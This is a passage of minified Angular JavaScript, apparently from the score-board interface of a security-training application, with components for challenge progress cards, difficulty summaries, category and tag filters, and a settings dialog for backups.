16px}.score-group[_ngcontent-%COMP%] .score[_ngcontent-%COMP%]{color:var(--theme-text);font-size:32px;font-style:normal;font-weight:500;line-height:42px;margin-bottom:0}.score-group[_ngcontent-%COMP%] .fraction-total[_ngcontent-%COMP%]{color:var(--theme-text-dark);font-size:16px;line-height:26px}.score-group[_ngcontent-%COMP%] .category[_ngcontent-%COMP%]{color:var(--theme-text);font-size:20px;font-style:normal;font-weight:500;line-height:23px}.progress-bar-container[_ngcontent-%COMP%]{background-color:var(--theme-background-lighter);border-radius:3px;max-width:200px;overflow:hidden}.progress-bar-container[_ngcontent-%COMP%] .progress-bar[_ngcontent-%COMP%]{background-color:var(--theme-accent);height:8px}"]}),n})(),Tu=(()=>{class n{constructor(){this.allChallenges=[]}ngOnInit(){this.updatedNumberOfSolvedChallenges()}ngOnChanges(e){this.updatedNumberOfSolvedChallenges()}updatedNumberOfSolvedChallenges(){const e=this.allChallenges.filter(o=>o.hasCodingChallenge);this.solvedCodingChallenges=e.map(o=>o.codingChallengeStatus).reduce((o,i)=>o+i,0),this.availableCodingChallenges=2*e.length}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["coding-challenge-progress-score-card"]],inputs:{allChallenges:"allChallenges"},features:[t.TTD],decls:10,vars:6,consts:[[3,"description","total","score","showAsPercentage"],["right-side","",1,"icon-group"],["width","74","height","85","viewBox","0 0 74 85","fill","none","xmlns","http://www.w3.org/2000/svg"],["clip-path","url(#clip0_2_635)"],["d","M69.2371 41.1778C68.9506 40.8702 68.6049 40.6235 68.2209 40.4524C67.8369 40.2813 67.4224 40.1893 67.0021 40.1819C66.5817 40.1745 66.1642 40.2518 65.7744 40.4092C65.3846 40.5667 65.0305 40.801 64.7332 41.0983C64.436 41.3956 64.2016 41.7497 64.0442 42.1395C63.8867 42.5293 63.8094 42.9468 63.8168 43.3671C63.8242 43.7875 63.9162 44.202 64.0873 44.586C64.2584 44.97 64.5051 45.3156 64.8127 45.6022L65.5265 46.3201C68.3731 49.1668 70.2806 51.0785 71.512 52.698C72.6932 54.2424 72.9603 55.1439 72.9603 55.912C72.9603 56.68 72.6932 57.5816 71.512 59.1259C70.2806 60.7413 68.3731 62.6571 65.5265 65.5038L64.8127 66.2217C64.5051 66.5083 64.2584 66.8539 64.0873 67.2379C63.9162 67.6219 63.8242 68.0365 63.8168 68.4568C63.8094 68.8771 63.8867 69.2947 64.0442 69.6845C64.2016 70.0743 64.436 70.4284 64.7332 70.7256C65.0305 71.0229 65.3846 71.2572 65.7744 71.4147C66.1642 71.5721 66.5817 71.6495 67.0021 71.642C67.4224 71.6346 67.8369 71.5426 68.2209 71.3715C68.6049 71.2004 68.9506 70.9537 69.2371 70.6462L70.1095 69.778C72.76 67.1275 74.9722 64.9153 76.4915 62.9243C78.0944 60.8206 79.2213 58.6 79.2213 55.912C79.2213 53.2239 78.0944 51.0033 76.4915 48.8997C74.9722 46.9087 72.76 44.6964 70.1053 42.046L69.2371 41.1778ZM58.6269 32.7296C59.428 32.9448 60.1111 33.4692 60.5259 34.1877C60.9406 34.9062 61.0533 35.7599 60.8391 36.5613L50.0368 76.8821C49.9302 77.2792 49.7464 77.6515 49.4959 77.9776C49.2454 78.3037 48.9332 78.5772 48.577 78.7827C47.8576 79.1975 47.0029 79.3096 46.2009 79.0943C45.3988 78.879 44.7152 78.3539 44.3003 77.6345C43.8855 76.9152 43.7733 76.0605 43.9887 75.2584L54.791 34.9418C54.8975 34.5442 55.0814 34.1715 55.3321 33.845C55.5828 33.5186 55.8955 33.2447 56.2522 33.0393C56.6089 32.8338 57.0026 32.7007 57.4108 32.6475C57.819 32.5944 58.2336 32.6223 58.631 32.7296H58.6269ZM40.0192 41.1778C39.4322 40.5915 38.6366 40.2622 37.807 40.2622C36.9774 40.2622 36.1817 40.5915 35.5948 41.1778L34.7266 42.046C32.0719 44.6964 29.8597 46.9087 28.3404 48.8997C26.7375 51.0033 25.6147 53.2239 25.6147 55.912C25.6147 58.6 26.7417 60.8206 28.3404 62.9243C29.8597 64.9153 32.0719 67.1275 34.7266 69.778L35.5948 70.6462C36.1882 71.1991 36.9731 71.5002 37.7841 71.4859C38.5951 71.4716 39.3689 71.143 39.9425 70.5694C40.516 69.9959 40.8446 69.2221 40.8589 68.4111C40.8732 67.6001 40.5722 66.8152 40.0192 66.2217L39.3054 65.5038C36.4588 62.6571 34.5554 60.7454 33.3199 59.1259C32.1387 57.5816 31.8757 56.68 31.8757 55.912C31.8757 55.1439 32.1387 54.2424 33.3199 52.698C34.5554 51.0827 36.4588 49.1668 39.3054 46.3201L40.0234 45.6022C40.6096 45.0152 40.9389 44.2196 40.9389 43.39C40.9389 42.5604 40.6096 41.7647 40.0234 41.1778H40.0192Z","fill","var(--theme-text)","fill-opacity","0.12"],["fill-rule","evenodd","clip-rule","evenodd","d","M52.4188 11.0416C27.6378 11.0416 7.54834 31.1311 7.54834 55.912C7.54834 80.693 27.6378 100.782 52.4188 100.782C77.1998 100.782 97.2892 80.693 97.2892 55.912C97.2892 31.1311 77.1998 11.0416 52.4188 11.0416ZM13.8093 55.912C13.8093 45.6722 17.8771 35.8517 25.1178 28.6111C32.3584 21.3704 42.1789 17.3026 52.4188 17.3026C62.6586 17.3026 72.4791 21.3704 79.7197 28.6111C86.9604 35.8517 91.0282 45.6722 91.0282 55.912C91.0282 66.1519 86.9604 75.9724 79.7197 83.213C72.4791 90.4537 62.6586 94.5215 52.4188 94.5215C42.1789 94.5215 32.3584 90.4537 25.1178 83.213C17.8771 75.9724 13.8093 66.1519 13.8093 55.912Z","fill","var(--theme-text)","fill-opacity","0.12"],["id","clip0_2_635"],["width","106","height","106","fill","var(--theme-text)"]],template:function(e,o){1&e&&(t.TgZ(0,"score-card",0),t.ALo(1,"translate"),t.TgZ(2,"div",1),t.O4$(),t.TgZ(3,"svg",2)(4,"g",3),t._UZ(5,"path",4)(6,"path",5),t.qZA(),t.TgZ(7,"defs")(8,"clipPath",6),t._UZ(9,"rect",7),t.qZA()()()()()),2&e&&t.Q6J("description",t.lcZ(1,4,"TITLE_CODING_CHALLENGES"))("total",o.availableCodingChallenges)("score",o.solvedCodingChallenges)("showAsPercentage",!0)},dependencies:[me,u.X$],styles:[".icon-group[_ngcontent-%COMP%]{align-items:flex-end;display:flex;height:100%;justify-content:flex-end}"]}),n})();function Au(n,a){1&n&&(t.O4$(),t._UZ(0,"stop",14))}function yu(n,a){if(1&n&&(t.O4$(),t._UZ(0,"stop",8)),2&n){const e=t.oxw().$implicit;t.uIk("offset",e.solvedChallenges/e.availableChallenges*100+"%")}}function Zu(n,a){if(1&n&&(t.TgZ(0,"div",3)(1,"div",4),t.O4$(),t.TgZ(2,"svg",5),t._UZ(3,"path",6),t.TgZ(4,"defs")(5,"linearGradient",7),t._UZ(6,"stop",8),t.YNc(7,Au,1,0,"stop",9),t.YNc(8,yu,1,1,"stop",10),t._UZ(9,"stop",8)(10,"stop",11),t.qZA()()(),t.kcU(),t.TgZ(11,"span",12),t._uU(12),t.qZA()(),t.TgZ(13,"span"),t._uU(14),t.TgZ(15,"span",13),t._uU(16),t.qZA()()()),2&n){const e=a.$implicit;t.xp6(3),t.uIk("fill","url(#solved-gradient-"+e.difficulty+")"),t.xp6(2),t.uIk("id","solved-gradient-"+e.difficulty),t.xp6(2),t.Q6J("ngIf",0===e.availableChallenges),t.xp6(1),t.Q6J("ngIf",0!==e.availableChallenges),t.xp6(4),t.Oqu(e.difficulty),t.xp6(2),t.hij(" ",e.solvedChallenges,"/"),t.xp6(2),t.Oqu(e.availableChallenges)}}const wu=Object.freeze({1:{difficulty:1,availableChallenges:0,solvedChallenges:0},2:{difficulty:2,availableChallenges:0,solvedChallenges:0},3:{difficulty:3,availableChallenges:0,solvedChallenges:0},4:{difficulty:4,availableChallenges:0,solvedChallenges:0},5:{difficulty:5,availableChallenges:0,solvedChallenges:0},6:{difficulty:6,availableChallenges:0,solvedChallenges:0}});let Su=(()=>{class n{constructor(){this.allChallenges=[],this.difficultySummaries=[{difficulty:1,availableChallenges:0,solvedChallenges:0},{difficulty:2,availableChallenges:0,solvedChallenges:0},{difficulty:3,availableChallenges:0,solvedChallenges:0},{difficulty:4,availableChallenges:0,solvedChallenges:0},{difficulty:5,availableChallenges:0,solvedChallenges:0},{difficulty:6,availableChallenges:0,solvedChallenges:0}]}ngOnInit(){this.updatedNumberOfSolvedChallenges()}ngOnChanges(e){this.updatedNumberOfSolvedChallenges()}updatedNumberOfSolvedChallenges(){const e=this.allChallenges.filter(r=>r.solved).length,o=this.allChallenges.filter(r=>r.hasCodingChallenge),i=o.map(r=>r.codingChallengeStatus).reduce((r,l)=>r+l,0);this.difficultySummaries=n.calculateDifficultySummaries(this.allChallenges),this.totalChallenges=this.allChallenges.length+2*o.length,this.solvedChallenges=e+i}static calculateDifficultySummaries(e){const o=structuredClone(wu);for(const i of e)o[i.difficulty].availableChallenges+=i.hasCodingChallenge?3:1,i.solved&&(o[i.difficulty].solvedChallenges++,o[i.difficulty].solvedChallenges+=i.hasCodingChallenge?i.codingChallengeStatus:0);return Object.values(o).sort((i,r)=>i.difficulty-r.difficulty)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["difficulty-overview-score-card"]],inputs:{allChallenges:"allChallenges"},features:[t.TTD],decls:4,vars:8,consts:[[3,"description","total","score","showAsPercentage","showProgressBar"],["right-side","",1,"difficulties-group"],["class","difficulty-container",4,"ngFor","ngForOf"],[1,"difficulty-container"],[1,"star-container"],["width","28","height","25","viewBox","0 0 28 25","fill","none","xmlns","http://www.w3.org/2000/svg"],["d","M12.6496 1.25874L9.57854 7.48541L2.70757 8.48713C1.4754 8.66584 0.981596 10.1849 1.87515 11.0549L6.84614 15.8989L5.67041 22.7417C5.45878 23.9786 6.76149 24.905 7.85257 24.3266L13.9993 21.0957L20.146 24.3266C21.2371 24.9003 22.5398 23.9786 22.3282 22.7417L21.1524 15.8989L26.1234 11.0549C27.017 10.1849 26.5232 8.66584 25.291 8.48713L18.42 7.48541L15.349 1.25874C14.7988 0.148847 13.2045 0.134738 12.6496 1.25874Z"],["x1","0","x2","0","y1","1","y2","0"],["stop-color","var(--theme-accent)"],["offset","0%","stop-color","var(--theme-accent)",4,"ngIf"],["stop-color","var(--theme-accent)",4,"ngIf"],["stop-color","var(--theme-primary)"],[1,"star-difficulty-label"],[1,"total-challenges"],["offset","0%","stop-color","var(--theme-accent)"]],template:function(e,o){1&e&&(t.TgZ(0,"score-card",0),t.ALo(1,"translate"),t.TgZ(2,"div",1),t.YNc(3,Zu,17,7,"div",2),t.qZA()()),2&e&&(t.Q6J("description",t.lcZ(1,6,"TITLE_CHALLENGES_SOLVED"))("total",o.totalChallenges)("score",o.solvedChallenges)("showAsPercentage",!1)("showProgressBar",!1),t.xp6(3),t.Q6J("ngForOf",o.difficultySummaries))},dependencies:[h.sg,h.O5,me,u.X$],styles:["@media (max-width: 810px){[_nghost-%COMP%]{grid-column:span 2}}@media (max-width: 600px){[_nghost-%COMP%]{grid-column:span 1}}.difficulties-group[_ngcontent-%COMP%]{background-color:var(--theme-background-darkest);border-radius:4px;color:var(--theme-text);column-gap:12px;display:grid;grid-template-columns:1fr 1fr 1fr;height:calc(100% - 24px);margin:4px;padding:8px 12px;row-gap:2px}.difficulties-group[_ngcontent-%COMP%] .difficulty-container[_ngcontent-%COMP%]{align-items:center;display:flex;flex-direction:column;justify-content:center}.difficulties-group[_ngcontent-%COMP%] .total-challenges[_ngcontent-%COMP%]{color:var(--theme-text-invert-30)}.star-container[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center}.star-container[_ngcontent-%COMP%] .star-difficulty-label[_ngcontent-%COMP%]{font-size:11px;line-height:11px;margin-top:2px;position:absolute}"]}),n})();var ku=c(591);const Ve="score-board-version";let ge=(()=>{class n{constructor(){this.defaultScoreBoard$=new ku.X("v2");const e=localStorage.getItem(Ve);e&&this.defaultScoreBoard$.next(e)}setDefaultScoreBoard(e){this.defaultScoreBoard$.next(e),localStorage.setItem(Ve,e)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Iu=(()=>{class n{constructor(e,o,i){this.dialogRef=e,this.featureFlagService=o,this.localBackupService=i,this.scoreBoardVersion=null,this.subscriptions=[]}ngOnInit(){var e=this;return(0,w.Z)(function*(){const o=e.featureFlagService.defaultScoreBoard$.subscribe(i=>{e.scoreBoardVersion=i});e.subscriptions.push(o)})()}ngOnDestroy(){for(const e of this.subscriptions)e.unsubscribe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.so),t.Y36(ge),t.Y36(Le))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["score-board-additional-settings-dialog"]],decls:42,vars:11,consts:[[1,"mat-typography"],["mat-dialog-title","","translate",""],[1,"settings"],[1,"setting-group"],["translate",""],[1,"setting"],["mat-flat-button","","color","primary",3,"click"],["type","file",2,"display","none",3,"change"],["restoreBackupFile",""],["aria-label","Default ScoreBoard",3,"value","change"],["value","v1"],["value","v2"],["mat-flat-button","","cdkFocusInitial","",3,"mat-dialog-close"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"mat-dialog-content",0)(1,"h1",1),t._uU(2,"SCOREBOARD_ADDITIONAL_SETTINGS"),t.qZA(),t.TgZ(3,"div",2)(4,"div",3)(5,"h2",4),t._uU(6,"BACKUP_HEADLINE"),t.qZA(),t.TgZ(7,"div",5)(8,"span",4),t._uU(9,"SAVE_BACKUP_TOOLTIP"),t.qZA(),t.TgZ(10,"button",6),t.NdJ("click",function(){return o.localBackupService.save()}),t.TgZ(11,"mat-icon"),t._uU(12,"save_alt"),t.qZA(),t.TgZ(13,"span",4),t._uU(14,"BTN_SAVE_BACKUP"),t.qZA()()(),t.TgZ(15,"div",5)(16,"input",7,8),t.NdJ("change",function(l){return o.localBackupService.restore(l.target.files.item(0))}),t.qZA(),t.TgZ(18,"span",4),t._uU(19,"RESTORE_BACKUP_TOOLTIP"),t.qZA(),t.TgZ(20,"button",6),t.NdJ("click",function(){t.CHM(i);const l=t.MAs(17);return t.KtG(l.click())}),t.TgZ(21,"mat-icon"),t._uU(22,"settings_backup_restore"),t.qZA(),t.TgZ(23,"span",4),t._uU(24,"BTN_RESTORE_BACKUP"),t.qZA()()()(),t.TgZ(25,"div",3)(26,"h2",4),t._uU(27,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_NAME"),t.qZA(),t.TgZ(28,"div",5)(29,"span",4),t._uU(30,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_DESCRIPTION"),t.qZA(),t.TgZ(31,"mat-radio-group",9),t.NdJ("change",function(l){return o.featureFlagService.setDefaultScoreBoard(l.value)}),t.TgZ(32,"mat-radio-button",10),t._uU(33),t.ALo(34,"translate"),t.qZA(),t.TgZ(35,"mat-radio-button",11),t._uU(36),t.ALo(37,"translate"),t.qZA()()()()(),t.TgZ(38,"mat-dialog-actions")(39,"button",12),t._uU(40),t.ALo(41,"translate"),t.qZA()()()}2&e&&(t.xp6(31),t.Q6J("value",o.scoreBoardVersion),t.xp6(2),t.Oqu(t.lcZ(34,5,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_OLD")),t.xp6(3),t.Oqu(t.lcZ(37,7,"FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_NEW")),t.xp6(3),t.Q6J("mat-dialog-close",null),t.xp6(1),t.hij(" ",t.lcZ(41,9,"BTN_CLOSE")," "))},dependencies:[x.lW,N.ZT,N.uh,N.xY,N.H8,F.Hw,nt.VQ,nt.U0,u.Pi,u.X$],styles:["mat-dialog-content[_ngcontent-%COMP%]{display:grid;grid-template-rows:min-content 1fr min-content;height:100%;overflow:visible}.mat-radio-button[_ngcontent-%COMP%] ~ .mat-radio-button[_ngcontent-%COMP%]{margin-left:16px}mat-dialog-actions[_ngcontent-%COMP%]{display:flex;flex-direction:row-reverse}h1[_ngcontent-%COMP%]{margin-bottom:24px}.settings[_ngcontent-%COMP%]{min-height:400px;overflow-y:auto}.setting-group[_ngcontent-%COMP%]{border-bottom:3px solid var(--theme-background-lighter);margin-bottom:16px}.setting-group[_ngcontent-%COMP%] h2[_ngcontent-%COMP%]{font-size:18px;margin-bottom:8px}.setting-group[_ngcontent-%COMP%]:last-child{border-bottom:unset;margin-bottom:0}.setting[_ngcontent-%COMP%]{align-items:center;display:grid;gap:16px;grid-template-columns:auto max-content;margin-bottom:16px}button[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{margin-right:8px}"]}),n})();const Xe=function(n){return{selected:n}};function Ou(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",2),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.toggleCategorySelected(r))}),t.ALo(1,"translate"),t._uU(2),t.qZA()}if(2&n){const e=a.$implicit,o=t.oxw();t.Q6J("ngClass",t.VKq(5,Xe,o.isCategorySelected(e)))("matTooltip",t.lcZ(1,3,"CATEGORY_"+e.toUpperCase().split(" ").join("_")+"_DESCRIPTION")),t.xp6(2),t.hij(" ",e,"\\n")}}let Uu=(()=>{class n{constructor(){this.availableCategories=new Set,this.categoriesChange=new t.vpe}ngOnInit(){this.availableCategories=n.getAvailableCategories(this.allChallenges)}ngOnChanges(){this.availableCategories=n.getAvailableCategories(this.allChallenges)}static getAvailableCategories(e){return new Set(e.map(o=>o.category))}toggleCategorySelected(e){this.isCategorySelected(e)?this.categories=this.categories.filter(o=>o!==e):this.categories.push(e),this.categoriesChange.emit(this.categories)}isCategorySelected(e){return this.categories.includes(e)}isAllCategoriesSelected(){return 0===this.categories.length}resetCategoryFilter(){this.categories=qt.categories,this.categoriesChange.emit(this.categories)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["category-filter"]],inputs:{allChallenges:"allChallenges",categories:"categories"},outputs:{categoriesChange:"categoriesChange"},features:[t.TTD],decls:3,vars:4,consts:[[1,"pill","selected",3,"ngClass","click"],["class","pill",3,"ngClass","matTooltip","click",4,"ngFor","ngForOf"],[1,"pill",3,"ngClass","matTooltip","click"]],template:function(e,o){1&e&&(t.TgZ(0,"button",0),t.NdJ("click",function(){return o.resetCategoryFilter()}),t._uU(1," All\\n"),t.qZA(),t.YNc(2,Ou,3,7,"button",1)),2&e&&(t.Q6J("ngClass",t.VKq(2,Xe,o.isAllCategoriesSelected())),t.xp6(2),t.Q6J("ngForOf",o.availableCategories))},dependencies:[h.mk,h.sg,Q.gM,u.X$],styles:["[_nghost-%COMP%]{display:flex;flex-direction:row;flex-wrap:wrap;gap:8px;margin:24px 0}.pill[_ngcontent-%COMP%]{background-color:var(--theme-primary-darker);border:1px solid transparent;border-radius:234234px;color:var(--theme-text);cursor:pointer;font-size:14px;font-weight:600;line-height:19px;padding:8px 16px}.pill.selected[_ngcontent-%COMP%]{background-color:var(--theme-accent-dark);border:1px solid var(--theme-accent);color:var(--theme-text-invert-15)}"]}),n})(),Lu=(()=>{class n{transform(e){if(0===e.length)return"";const i=function Pu(n){const a=[];let e=null;for(const o of n)null===e?e={start:o,end:o}:o===e.end+1?e.end=o:(a.push(e),e={start:o,end:o});return a.push(e),a}((0,Ke.Z)(e));return function Nu(n){return n.map(a=>a.start===a.end?a.start.toString():`${a.start} - ${a.end}`).join(", ")}(i)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275pipe=t.Yjl({name:"difficultySelectionSummary",type:n,pure:!0}),n})();function Eu(n,a){1&n&&(t.ynx(0),t._uU(1),t.ALo(2,"translate"),t.BQk()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"LABEL_DIFFICULTY")," "))}function Mu(n,a){if(1&n&&(t.TgZ(0,"span"),t._uU(1),t.ALo(2,"difficultySelectionSummary"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",t.lcZ(2,1,e.filterSetting.difficulties)," ")}}function Du(n,a){if(1&n&&(t.TgZ(0,"mat-option",8),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.Q6J("value",e),t.xp6(1),t.Oqu(e)}}let qu=(()=>{class n{constructor(e){this.dialog=e,this.filterSettingChange=new t.vpe,this.tags=new Set}ngOnChanges(){this.tags=new Set(this.allChallenges.flatMap(e=>e.tagList))}onDifficultyFilterChange(e){const o=structuredClone(this.filterSetting);o.difficulties=e,this.filterSettingChange.emit(o)}onStatusFilterChange(e){const o=structuredClone(this.filterSetting);o.status=e,this.filterSettingChange.emit(o)}onTagFilterChange(e){const o=structuredClone(this.filterSetting);o.tags=e,this.filterSettingChange.emit(o)}onCategoryFilterChange(e){const o=structuredClone(this.filterSetting);o.categories=e,this.filterSettingChange.emit(o)}onSearchQueryFilterChange(e){const o=structuredClone(this.filterSetting);o.searchQuery=e,this.filterSettingChange.emit(o)}canBeReset(){return this.filterSetting.difficulties.length>0||null!==this.filterSetting.status||this.filterSetting.tags.length>0||this.filterSetting.categories.length>0||!!this.filterSetting.searchQuery||!this.filterSetting.showDisabledChallenges}openAdditionalSettingsDialog(){this.dialog.open(Iu)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["filter-settings"]],inputs:{allChallenges:"allChallenges",filterSetting:"filterSetting",reset:"reset"},outputs:{filterSettingChange:"filterSettingChange"},features:[t.TTD],decls:62,vars:40,consts:[[1,"filter-row"],[1,"search-form-field"],["matPrefix","",1,"search-icon"],["translate",""],["type","search","matInput","",3,"value","input"],[1,"options-group"],["multiple","",3,"value","selectionChange"],[4,"ngIf"],[3,"value"],[3,"difficulty"],["placeholder","All",3,"value","selectionChange"],["value","unsolved"],["value","partially-solved"],["value","solved"],[3,"value",4,"ngFor","ngForOf"],[1,"additional-settings-wrapper"],["id","reset-filters","mat-icon-button","","aria-label","reset all filters",3,"matTooltip","click"],["width","16","height","16","viewBox","0 0 16 16","fill","none","xmlns","http://www.w3.org/2000/svg"],["d","M12.2442 2.96672L9.56672 6.37922L10.6392 7.45172C11.4117 6.46922 14.3742 2.67422 14.3742 2.67422C14.7567 2.17922 14.4042 1.46672 13.7817 1.46672H4.65422L6.15422 2.96672H12.2442Z","fill","currentColor"],["d","M1.63922 0.574219L0.574219 1.63172L7.03172 8.21672V12.7167C7.03172 13.1292 7.36922 13.4667 7.78172 13.4667H9.28172C9.69422 13.4667 10.0317 13.1292 10.0317 12.7167V11.0892L14.3667 15.4242L15.4242 14.3667L1.63922 0.574219Z","fill","currentColor"],["for","reset-filters","translate","",1,"reset-filters-label"],["mat-icon-button","","aria-label","Open additional settings dialog",1,"additional-settings-button",3,"matTooltip","click"],[3,"categories","allChallenges","categoriesChange"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"div",1)(2,"mat-form-field")(3,"mat-icon",2),t._uU(4,"search"),t.qZA(),t.TgZ(5,"mat-label",3),t._uU(6,"NAV_SEARCH"),t.qZA(),t.TgZ(7,"input",4),t.NdJ("input",function(r){return o.onSearchQueryFilterChange(r.target.value)}),t.qZA()()(),t.TgZ(8,"div",5)(9,"mat-form-field")(10,"mat-label",3),t._uU(11,"LABEL_DIFFICULTY"),t.qZA(),t.TgZ(12,"mat-select",6),t.NdJ("selectionChange",function(r){return o.onDifficultyFilterChange(r.value)}),t.TgZ(13,"mat-select-trigger"),t.YNc(14,Eu,3,3,"ng-container",7),t.YNc(15,Mu,3,3,"span",7),t.qZA(),t.TgZ(16,"mat-option",8),t._UZ(17,"difficulty-stars",9),t.qZA(),t.TgZ(18,"mat-option",8),t._UZ(19,"difficulty-stars",9),t.qZA(),t.TgZ(20,"mat-option",8),t._UZ(21,"difficulty-stars",9),t.qZA(),t.TgZ(22,"mat-option",8),t._UZ(23,"difficulty-stars",9),t.qZA(),t.TgZ(24,"mat-option",8),t._UZ(25,"difficulty-stars",9),t.qZA(),t.TgZ(26,"mat-option",8),t._UZ(27,"difficulty-stars",9),t.qZA()()(),t.TgZ(28,"mat-form-field")(29,"mat-label",3),t._uU(30,"LABEL_STATUS"),t.qZA(),t.TgZ(31,"mat-select",10),t.NdJ("selectionChange",function(r){return o.onStatusFilterChange(r.value)}),t.TgZ(32,"mat-option",8),t._uU(33),t.ALo(34,"translate"),t.qZA(),t.TgZ(35,"mat-option",11),t._uU(36),t.ALo(37,"translate"),t.qZA(),t.TgZ(38,"mat-option",12),t._uU(39),t.ALo(40,"translate"),t.qZA(),t.TgZ(41,"mat-option",13),t._uU(42),t.ALo(43,"translate"),t.qZA()()(),t.TgZ(44,"mat-form-field")(45,"mat-label",3),t._uU(46,"LABEL_TAGS"),t.qZA(),t.TgZ(47,"mat-select",6),t.NdJ("selectionChange",function(r){return o.onTagFilterChange(r.value)}),t.YNc(48,Du,2,2,"mat-option",14),t.qZA()(),t.TgZ(49,"div",15)(50,"div")(51,"button",16),t.NdJ("click",function(){return o.reset()}),t.ALo(52,"translate"),t.O4$(),t.TgZ(53,"svg",17),t._UZ(54,"path",18)(55,"path",19),t.qZA()(),t.kcU(),t.TgZ(56,"label",20),t._uU(57,"LABEL_RESET_ALL_FILTERS"),t.qZA()(),t.TgZ(58,"button",21),t.NdJ("click",function(){return o.openAdditionalSettingsDialog()}),t.TgZ(59,"mat-icon"),t._uU(60,"settings"),t.qZA()()()()(),t.TgZ(61,"category-filter",22),t.NdJ("categoriesChange",function(r){return o.onCategoryFilterChange(r)}),t.qZA()),2&e&&(t.xp6(7),t.Q6J("value",o.filterSetting.searchQuery),t.xp6(5),t.Q6J("value",o.filterSetting.difficulties),t.xp6(2),t.Q6J("ngIf",0===o.filterSetting.difficulties.length),t.xp6(1),t.Q6J("ngIf",0!==o.filterSetting.difficulties.length),t.xp6(1),t.Q6J("value",1),t.xp6(1),t.Q6J("difficulty",1),t.xp6(1),t.Q6J("value",2),t.xp6(1),t.Q6J("difficulty",2),t.xp6(1),t.Q6J("value",3),t.xp6(1),t.Q6J("difficulty",3),t.xp6(1),t.Q6J("value",4),t.xp6(1),t.Q6J("difficulty",4),t.xp6(1),t.Q6J("value",5),t.xp6(1),t.Q6J("difficulty",5),t.xp6(1),t.Q6J("value",6),t.xp6(1),t.Q6J("difficulty",6),t.xp6(4),t.Q6J("value",o.filterSetting.status),t.xp6(1),t.Q6J("value",null),t.xp6(1),t.Oqu(t.lcZ(34,30,"STATUS_ALL")),t.xp6(3),t.Oqu(t.lcZ(37,32,"STATUS_UNSOLVED")),t.xp6(3),t.Oqu(t.lcZ(40,34,"STATUS_PARTIALLY_SOLVED")),t.xp6(3),t.Oqu(t.lcZ(43,36,"STATUS_SOLVED")),t.xp6(5),t.Q6J("value",o.filterSetting.tags),t.xp6(1),t.Q6J("ngForOf",o.tags),t.xp6(3),t.Q6J("matTooltip",t.lcZ(52,38,"LABEL_RESET_ALL_FILTERS")),t.xp6(2),t.Udp("color",o.canBeReset()?"var(--theme-warn)":"var(--theme-text-dark)"),t.xp6(5),t.Q6J("matTooltip","Open additional settings dialog"),t.xp6(3),t.Q6J("categories",o.filterSetting.categories)("allChallenges",o.allChallenges))},dependencies:[h.sg,h.O5,x.lW,f.KE,f.hX,f.qo,F.Hw,B.Nt,vt.gD,vt.$L,Gt.ey,Q.gM,u.Pi,Uu,$e,u.X$,Lu],styles:[".options-group[_ngcontent-%COMP%]{align-items:center;column-gap:16px;display:grid;grid-template-columns:repeat(3,1fr) min-content;row-gap:8px}@media (max-width: 800px){.options-group[_ngcontent-%COMP%]{grid-template-columns:auto}}.filter-row[_ngcontent-%COMP%]{display:grid;gap:16px;grid-template-columns:auto min-content min-content;margin-top:16px}@media (max-width: 1000px){.filter-row[_ngcontent-%COMP%]{grid-template-columns:auto}}.search-form-field[_ngcontent-%COMP%] mat-form-field[_ngcontent-%COMP%]{width:100%}.search-icon[_ngcontent-%COMP%]{align-items:flex-end;color:var(--theme-text-fade-30);display:flex;font-size:18px;line-height:12px;margin-right:4px}.reset-filters-label[_ngcontent-%COMP%]{color:var(--theme-text-fade-30)}@media (min-width: 800px){.reset-filters-label[_ngcontent-%COMP%]{display:none}}.additional-settings-wrapper[_ngcontent-%COMP%]{align-items:center;display:flex}.additional-settings-button[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center}.additional-settings-button[_ngcontent-%COMP%] mat-icon[_ngcontent-%COMP%]{color:var(--theme-text-fade-30);font-size:16px;height:16px;line-height:16px;width:16px}"]}),n})(),Fu=(()=>{class n{constructor(){this.allChallenges=[]}ngOnInit(){this.updatedNumberOfSolvedChallenges()}ngOnChanges(e){this.updatedNumberOfSolvedChallenges()}updatedNumberOfSolvedChallenges(){this.solvedChallenges=this.allChallenges.filter(e=>e.solved).length}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["hacking-challenge-progress-score-card"]],inputs:{allChallenges:"allChallenges"},features:[t.TTD],decls:9,vars:6,consts:[[3,"description","total","score","showAsPercentage"],["right-side","",1,"icon-group"],["width","62","height","69","viewBox","0 0 62 69","fill","none","xmlns","http://www.w3.org/2000/svg"],["clip-path","url(#clip0_2_621)"],["d","M51.875 72.6249H29.125M51.875 72.6249V40.7749C51.875 40.1715 51.6353 39.5929 51.2087 39.1662C50.782 38.7396 50.2034 38.4999 49.6 38.4999H31.4C30.7966 38.4999 30.218 38.7396 29.7913 39.1662C29.3647 39.5929 29.125 40.1715 29.125 40.7749V72.6249M51.875 72.6249H72.35C72.9534 72.6249 73.532 72.3852 73.9587 71.9586C74.3853 71.5319 74.625 70.9533 74.625 70.3499V61.6291C74.625 61.0257 74.3853 60.447 73.9587 